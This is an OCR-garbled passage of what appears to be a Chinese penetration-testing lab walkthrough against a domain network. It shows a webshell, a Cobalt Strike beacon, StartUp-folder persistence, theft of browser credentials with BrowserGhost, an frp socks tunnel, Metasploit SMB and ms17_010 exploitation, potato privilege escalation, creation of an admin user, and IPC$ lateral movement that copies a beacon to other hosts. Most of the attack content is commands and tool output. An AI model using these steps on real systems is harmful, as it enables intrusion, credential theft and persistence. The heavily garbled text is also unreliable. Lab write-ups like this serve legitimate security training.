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AntSword F/E O #E
« 5B (0 192.168.3.129
5 D BRFIE (0) < | [isctE5iE (18)
=M ¢ O#HE v +LE CRE & IBF nHE - C:/phpStudy/WWW/yxcms/protected/apps/default/view/. < 52
| F’“F’ft\ﬁ: 2t B ol LT
- ] acomment.php 2013-08-20 01:46:43 2.8 Kb 0666
& B yXcms ) R o
5 protected arightCom.php 2013-08-20 01:46:43 2.57 kb 0666
57 apps extend_guestbook.php 2013-10-14 02:36:55 3.48 Kb 0666
- r ult extend_index.php 2013-08-20 01:46:43 4.49 Kb 0666
=M view hack.php 2022-01-17 06:57:25 35b 0666
L’ I default index_index.php 2013-08-20 01:46:43 6.93 Kb 0666
I Dy & index_search.php 2013-11-20 19:19:31 1.08 Kb 0666
info.php 2013-08-20 01:46:43 91 b 0666
layout.php 2013-11-20 12:28:55 5.46 Kb 0666
news_content.php 2013-12-18 02:08:29 3.07 kKb 0666
' ] news_index.php 2013-08-20 01:46:43 1.43 Kb 0666
news_sortindex.php 2013-11-07 04:28:17 3.48 Kb 0666
page_index.php 2013-08-20 01:46:43 698 b 0666
photo_content.php 2013-08-30 16:57:37 2.37 Kb 0666
photo_index.php 2013-08-20 01:46:43 1.38 Kb 0666
photo_indexp.php 2013-08-20 01:46:43 951 b 0666
| photo_pcontent.php 2013-08-30 16:58:41 4.37 Kb 0666
prightCom.php 2013-08-20 01:46:43 1.72 Kb 0666
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<DIR>
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-htaccess
data
frpc.exe
frpc.ini
index.php
19/10/13 protected
3 H public
c 83 robots.txt
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Cobalt Strike il Ik B #EE0
O8O E=Z¢ B8FLL XwEEH /o BG
user computer note
Adminis_. STU1

inter =~ | listener
192.16..

external
B® 192.16...

process | pid

¢: \phpStudy\WAW\yxcms> cd upload testexe artifact... 3968

\upload> dir

\phps tudy \Waw\ yx.
- i

I=E B83A-

c: \phpstudy\mwn\ yxcms\upload f1H

artifact.exe
extend
fragment
links
news
NoPic.gif
pages
photos
15,801 ET
€,392,266,752 AT

19/10/13
9/10/13
9/10/13
3/09/12

2019/10/13
2019/10/13

n from Administrator *@192.168.3.129

[+H \phpgtud:y\m\ artifact.exe

[01/26 16:25] neo

nt>

C:\phpStudy\WAW\yxcms\upload> artifact.exe
c¢: \phpstudy\Wwaw\yxcms\upload> I
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external | inter . = |listener | user computer | note process | pid arch last

s 19216 19216 tesiexe  Adminis_. STU1 artifact.... 3968

BIA X
: 0 beaconiliR & {81 [B](F1)?
.
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external | inter . = |listener | user computer | note process | pid arch last

3 192,16, 192.16._test NG artifact__ 3968
it 4
B e
1 s ' | imFEVNC
. ENSE | xpEE i
' 2iE ' | Net View
1 i3
HI251%
e FEEE [
Engx‘ Beacon 192.168.3.120@3068 X | PTOCESSES 192.168.3.120@3968 X
-] 0: [System Process) “|'|PIB_ PPID Name Arch | i | User i
) BTUSS OO VTS GRS Aus U T AUTIRARIT T
4 =04 system 1844 516 svchostexe X64 0 NT AUTHORITY .. g
_g%& Smss.exe 1092 516 dilhost exe X64 0 NT AUTHORITY...  ||5
| 1348 csrss.exe 1580 516 msdic.exe ¥64 0 NTAUTHORITY..
[ B 400: csrss.exe 2188 640 WmMIPrVSE.exe
[ 2502: conhost exe 2492 516  svchostexe ¥64 NT AUTHORITY ..
[T 2868: conhost exe 2660 516 taskhostexe ¥64 GOD\Administra. ..
DS52F]:_C_°”h°5"exe 2792 516 sppsvc.exe ¥64 NT AUTHORITY...
2 D408:wmmﬂ-?xe 2076 872 dwm.exe ¥64 GOD\Administra...
= % 516 services exe 3000 2968 explorer.exe X64 GOD\Administra...
= [J640: svchost exe 2080 3000 vmtoolsdexe X6 GOD\Administra. .
2188: WmiPrvSE exe 1048 3000 Everythingexe s GOD\Administra. .

[] 3560: sluiexe

] 700: vmacthlp.exe
[] 744: svchost exe
[C]840: svchost.exe
=[] 872: svchost exe

GODVAdministra...
NT AUTHORITY ...
NT AUTHORITY ..

:[1784 3000 openvpn-guiexe 64

|2652 516 Searchindexer.e §f x64

716 516 svchostexe ¥64
phpStudy.exe

GODWdministra...

= =% % b -k % % 2 -k % A O &k ko kD =2 O

1004 2048 hitpd.exe X86 GOD\Administra...
[ 2976 dwm.exe 2502 400 conhostexe ¥64 GOD\Adminisira...
[ 896: svchost.exe 2296 2048 mysqld.exe X86 GOD\Administra. .
[ 356 svchost exe 2868 400 conhostexe ¥64 GOD\Administra...
(] 968&: svchost.exe 2276 1904 hitpd.exe X86 GOD\Administra.
#=h 1148 spoolsv exe 3844 2276 cmd.exe X86 GOD\Administra...
[ 1212: svchost exe 3520 400 conhostexe ¥64 GOD\Administra...
(] 1456: openvpnserv.exe 4020 3844 cmd.exe %86 GOD\Administra.
[ 1540: VGAuthService exe 3068 4020 artifact exe X86 GOD\Administra...

| 91624: vmtoolsd exe «||3560 640 sluiexe %64 GOD\Administra... -

| kit || Refresh | | inject || Log Keystrokes || mE#E || steal Token lrLafﬁﬁ;ﬂr@rrlul et

X BRI T — N3 T phpstudy.exefshell

So mifE RelD Pa NS T~ —

external internal =~ listener user computer note S pid arch last
B® 192.168.3.120 192.168.3.129 testexe Administrator * STU1 phpStudy_exe 2948 x86 6s
3~ 192.168.3.129 192.168.3.129 artifact. exe 533ms

testexe Administrator *
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1. KR EDAT Mexe T B 5 2 8 3h 3= T RIAT .
S22 Rwindows /BB 1E, HRAERZE, SRNEITERNER

shell copy "artifacat.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

IR R R S BRI, MBS AT BB BURMBHR RA M, R ILOL T
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CSH: shell+ar&ENH
//EHER
systeminfo
//PMEER
ipconfig /all
//BHE

arp -a

/ /38, BAV
tasklist

/ /% B R B
netstat -ano

/| REBING

net user /domain
//REHM

ping baidu.com -n 2

RAEX Bi@idipconfig /all 7T LAZREX BwebF ML P Mip192.168.52.143
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B external | inter . ~ |listener | user computer | note process | pid arch last
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HEX | Beacon 192.168.3.120@3476 X

MR . . . . . . .. ... gm;egm
EBHGER ons B8R

KPS RLES FHuEd: 2:

MAERS . . . L s
HEEEM ons 53

lf).j(lfﬁ]iﬁﬁﬂﬁ% Bluetooth [FEE

MR . . . ... gm;egm
EBHGER ons B8R

EAKPLERLES s -

EBHGER ons B8R :

ZigtE eve Hhk : feB0::1877:fcf5:F de6: £712%11
evd HhhE : 192.168.52.143

e rrl vy : 255.255.255.0

BLA R : 192.168.52.2

8l [58 58152 isatap. {4DAEBDFD-0177-4691-8243-B7329TE2F0FF} :

FEREM ons IR
FhiEE eve Ml : feBO::5efe:192.168.52.143%12
BhA B :

[iEiEEHIEE isatap. [560BEAFC-DACA-4687-A564-57790875DC43}) :

MRS . . . . .. .. ... . AT

[5TU1l] Administrator */3476 la=st: 905ms
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https://github.com/QAX-A-Team/BrowserGhost

- ) UL LULS H H E
14kb fil 01/26/2022 16:22:45 artifact.exe
487kb fil 01/26/2022 20:59:27 BrowserChost.exe

1kb fil 09/12/2013 22:55:13 NoPic.gif

beacon> shell "BrowserGhost.exe"

[*] Tasked beacon to run: "BrowserGho=Ulmgs"
[+] host called home, sent: 49 bytes

[+] received output

[+] Current user Administrator

[+] [3028] [explorer] [Administrator]

[+] Impersonate user Administrator

[+] Current user Administrator
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6 g EEREE
6.1 frp
T # bk

Aic & frps.ini

\[common]

bind addr = 0.0.0.0

bind port = 7080

token = admin123
dashboard user = admin
dashboard pwd = admin123

P ATfrps.exe -c frps.ini

EHEA: C\Windows\System32\cmd.exe - frps.exe -c frps.ini

7ESEHLIATfrpc.exe -c frpc.ini

2022/01/26 21:32:50 [I] [service.go:301] [13F1fe2261e2e89¢c] login to server succ
ess, get run id [13f1fe2261e2e89c], server udp port [0]

2022/01/26 21:32:50 [I] [proxy_manager.go:144] [13F1fe2261e2e83c] proxy added: [
plugin_socks]

2022/01/26 21:32:50 [I] [control.go:180] [13f1fe2261e2e89c] [plugin_socks] start
proxy success CSDN @Lelta¥4

SR 5 1E B 55 25 I . 7] LA B R Th 1
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https://github.com/fatedier/frp/releases/tag/v0.38.0

XFERLRE T 1) P R ip T

& C o O 8 192.168.52.143 w Q=

@ FFriE 1 @%iAE (O pythontsiz D AREHM () [ 1 Dan Bo... {  MSDN, &R - .. @ GitHubFEEE k.. D &Re%Ed) DEEExs O

Index of /

« beifen.rar

» phpMyAdmin/ AMip
* phpinfo.php

* yxcms/

7 B 35h1
7.1 FIH msfist 47 N M{E B E — 3%
msfif B0

setg Proxies socks5:192.168.3.16:7777

ShellNo.1

[i] Database already a
[1] The database appea e already configured, skipping initialization

iliary - post
rs - 1@ nops

oit tip: Writing ; editing your
y not try the

search smb/smb



smb/smb

Name Disclosure Da
Check

1
Microsoft Windows SMB Relay Code Execution
/EmbYsSmb_ms 1
SMB RCE Detection
riindows/SmBFSmE_
rosoft Windows
ers/smb/smb_« orrupt norma
ate Pipe Request Corr i
rs/Smb/Smb_« e_pipe norma
ate Pipe Request Fu77ﬁ1
y 1ndom /EmbfSmb_doublepuls: : 2017-04-14
SME DOUBLEPULSAR Remote C x i
exploit/windows/SmB/SmB_delivery 2016-07-26
No SMB
auxili er/ _enu ers_domai norma
No i i
auxili : g norma
No ) /
auxili a B i norma
No i
auxili F 'S 5 _login_corr norma
No
auxiliary/f § tiate_corr norma
No 1
auxiliary/f ers/ : e_corrupt norma
No ' e SMB2 ruption
auxili NLE ;smb!smb lookupsid norma
No Enumer on (LookupSid)
auxili inner/SmBZSmE_enumshares norma
No Enumeration
auxili L rs/SmMB/SmMB_tree connect_corrupt norma
No 1 nnect Request rruption
auxiliary/f ers/SmbfSmB_tree conne norma
No 1 nnect Request Fu r
auxili /
No : erati AM Enumiisers)
auxiliary/scanner/ _version

ERE18A, #iTH DM

use 18

set rhosts 192.168.52.413/24
set threads 20

run

Host is running Windows 7 Professional SP1 (build:76@1) (na 5 U1I (domain:GOD)
nThD;Tb\n:mﬂ is depr ted, use iddress, resu NUU, Ul simiiar 41 ItwEtroeT i he next Major version

ted, use 1 s, reso nbo, or similar ins . It will _he r he next Major ion
- SMB Detected (versions:1) (preferrs WITLS, " Usignacures:optional) - I
Host is running Windows 2 (build:3790) anmn ROOT-TV. 62UBEH) (domain:GOD) CcsDr &'Leﬂﬂ_d'fﬁ

TEIEUT%‘*V\JI_JIHL' (LR H—M38, BREMHE TIEIZBXANAENFHFNT o o o o )
7.2 R A msfiE 47 IR A — & WM EHLFF4T7emd
il ms17_010_command $#4 R ZE e n] PAZE 2R M EHL _ EHITemdir 4D

search ms17_010

use x(XANMRLIAE commandi], E#ALBET)
set rhosts 192.168.52.138

run



8 WMf5 B4
8.1 77 i& EHLER A

3 T netbiostiX
JHA/NF E2knbtscan, HEAERIRNG L, BITHATT

Doing NBT name scan for addresses from 192.168.52.8/2Y4

TP address MAC address

92.168.52.143 STU1 <{server> <unknown> 00-0c-29-Fb-dc-53
92.168.52. 111 ROOT-TUISGZ2UBEH <server> <{unknown> 09D Bl 70

T ICMP 5 X

for /1 %i in (1,1,255) do @ ping 192.168.52.%i -w 1 -n 1|find /i "ttl="

T H: pingfin &
324 T ping KRR EHAAE GFESmERE. « . )

m =ES: C\Window

Microsoft Windows [ffz4 6.1.7601] 3 _
FAERE (¢) 2009 Microsoft Corporation. {F 8 PTHFF|.

C:\Users\Administrator>for /1 %i in (1,1,255) do @ ping 192.168.5

jfind /1 "ttl="

F5 192.168.52.141 [fIHEE: 2 Wf|a<ims TTL=128

F 5 192.168.52.143 [fIHE 5T 2 Wf|a=16ms TTL=128

- CSDN @LelHa+f
T ARPHH

T H: arp-scan.exe

T E k-

¥ BRI B EN L, BT T4
arp-scan.exe -t [ip/ipB1

9 /M
9.1 WM
BB T L, BITE L T2 T AR 7E 0 R

IRE e 4h T M T7 vk
1. systeminfo
systeminfo | findstr KB


https://github.com/lifenjoiner/nbtscan/releases/tag/nbtscan-v1.5.2-2394b4
https://github.com/QbsuranAlang/arp-scan-windows-
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9.2 potato £

potato.exe -p "HEHITHHL"

10 B2 [ # 5h2
CSHAERAL

B Cobalt Strike — O
Cobalt Strike #E It RS EEH
O O E=¢ BELLA XeBERN /ca B G
external | inter... = | listener | user computer | note process | pid arch last
9216 92.16 estexe  Adminis artifz 0 86
i# » beacon
Wit L
Bir '
i SOCKS Server
e
=g * | Deploy VPN

= -

08/20/2019
07/17/2019
04/30/2011
09/15/2019
09/15/2019
09/15/2019
09/15/2019
08/29/2019
08/29/2019
01/16/2022
08/29/2019
08/20/2019
08/29/2019
- i 08/29/2019
09/14/2019

HEx | Beacon 192.168.3.129@1520 X

ocl.exe

ocl.id0

ocl.idl

ocl.nam

ocl.til
openvpn-install-2.4.7-I607-Win7.exe
openvpn-install-latest-stable.exe
phpStudy.exe - HiERTL . 1nk
Shadowsocks-4.1.3.1.zip
ShadowsocksR-win-4.9.2. rar

test.ovpn

vpn.conf.ovpn
¥3 Eve rything.Ilnk



http://bugs.hacking8.com/tiquan/
https://i.hacking8.com/tiquan/
http://blog.neargle.com/win-powerup-exp-index/
https://github.com/Al1ex/WindowsElevation

| B New Listener — O 4
; BEREG REARPE it BeaconZiE PSS

|&F 1435 l

| Payioad:  |windowsibeacon _reverse_tcp  ~ |

J

Listen Host: 192.168.52.143

Listen Port: (4444 |

H
4 &5 linistrator * via 192.168.3.120@1520| | ...
L
save || #8 B
csDN @Leltati |
! = L T
HE R AN B T 2R
AR 15645 BlwebliR %45 £
B Cobalt Strike — O *
i1l
=S¢ BELPLUGeBEH o B
external |inter.. = |listener  user computer | note process | pid arch last

Fi» 19216.. 19216.. ftestexe Adminis.. STU1 artifact.... 1520

— \
HEX | Beacon 192.168.3.120@1520 X | iR Files 192.168.3.120@1520 X
E-4pC : [C:\UserslAdministralor\Desklop
=- I Users D - Size Modified
B [l Administrator | itk 01/26/2022 995 ~
ERE Deskiop | D Mt exe 14kb 01/26/2022 21°4...
B s D  beacon.exe 281kb 01/26/2022 23:0...
O deskiop.ini 282 08/25/2019 10:0...
D Firefoxsetupexe  367kb 08/29/2019 11-0...
1D 1ab.ovpn kb 08/29/2019 11°5...
D labpentestitru (.. 1kb 08/29/2019 11°1...
O  Nmap-Zenmap .. 963b 08/29/2019 11°1...
D nmap-7.80-setup... 25mb 08/20/2019 17-4...
O  npp.7.7.1installe... 3mb 07/17/2019 22°1...
D oclexe 24kb 04/30/2011 18:2...
D oclido 256kb 00/15/2019 21°4.._
D oclidt 88KD 09/15/201921°4... ~
| Upload... | |- Make Directory | [ List Drives | | Refresh | [ #2581 | L
. CSDN @1 el a1l
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shell net user biu Pass!@#4 /add
shell net localgroup administrators biu /add

*] Tasked beacon to run: net user biu Pass!@#4 fadd
+] host called home, sent: 57 bytes

+] received output

PEBT .

i A NET HELPMSG 2224 LAFRISHE RIEEEN.

acon> shell net localgroup administrators biu fadd
*] Tasked beacon to run: net localgroup administrators biu fadd
+] host called home, sent: 69 bytes

+] received output
E H4iEIR 13780

55 FI0E P& SR A fIRR G -

RIGTE webflk %5 %% ATemdir & T E 3L E

shell net use \\192.168.52.141\ipc$ Pass!@#4 /user:biu

SRIGHN141ENI B F

shell dir \\192.168.52.141\c$%

EAEFIEH

shell copy C:\phpStudy\WWW\yxcms\beacon.exe \\192.168.52.138\c$

R JEF FmstHAT R S
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